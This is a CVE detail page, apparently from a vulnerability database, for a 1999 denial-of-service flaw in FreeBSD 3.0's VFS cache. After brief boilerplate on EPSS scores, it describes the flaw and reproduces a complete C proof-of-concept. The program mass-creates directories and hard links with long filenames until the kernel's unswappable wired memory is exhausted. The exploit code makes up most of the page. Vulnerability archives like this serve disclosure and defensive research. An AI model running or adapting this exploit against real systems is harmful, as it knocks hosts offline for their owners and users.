CVE-1999-0912 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/653/info A vulnerability exists in FreeBSD's new VFS cache introduced in version 3.0 that allows a local and possibly remote user to force the kernel to consume large quantities of wired memory thus creating a denial of service condition. The new VFS cache has no way to purge entries from memory while the file is open, consuming wired memory and allowing for the denial of service (memory that cannot be swapped out). FreeBSD versions earlier than 3.0 are not vulnerable, nor is the original 4.4BSD-Lite code. #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #define NFILE 64 #define NLINK 30000 #define NCHAR 245 int main() { char junk[NCHAR+1], dir[2+1+2+1], file1[2+1+2+1+NCHAR+3+1], file2[2+1+2+1+NCHAR+3+1]; int i, j; struct stat sb; memset(junk, 'x', NCHAR); junk[NCHAR] = '\0'; for (i = 0; i < NFILE; i++) { printf("\r%02d/%05d...", i, 0), fflush(stdout); sprintf(dir, "%02d-%02d", i, 0); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); sprintf(file1, "%s/%s%03d", dir, junk, 0); if (creat(file1, 0644) < 0) fprintf(stderr, "creat(%s) failed\n", file1), exit(1); if (stat(file1, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file1), exit(1); for (j = 1; j < NLINK; j++) { if ((j % 1000) == 0) { printf("\r%02d/%05d...", i, j), fflush(stdout); sprintf(dir, "%02d-%02d", i, j/1000); if (mkdir(dir, 0755) < 0) fprintf(stderr, "mkdir(%s) failed\n", dir), exit(1); } sprintf(file2, "%s/%s%03d", dir, junk, j%1000); if (link(file1, file2) < 0) fprintf(stderr, "link(%s,%s) failed\n", file1, file2), exit(1); if (stat(file2, &sb) < 0) fprintf(stderr, "stat(%s) failed\n", file2), exit(1); } } printf("\rfinished successfully\n"); }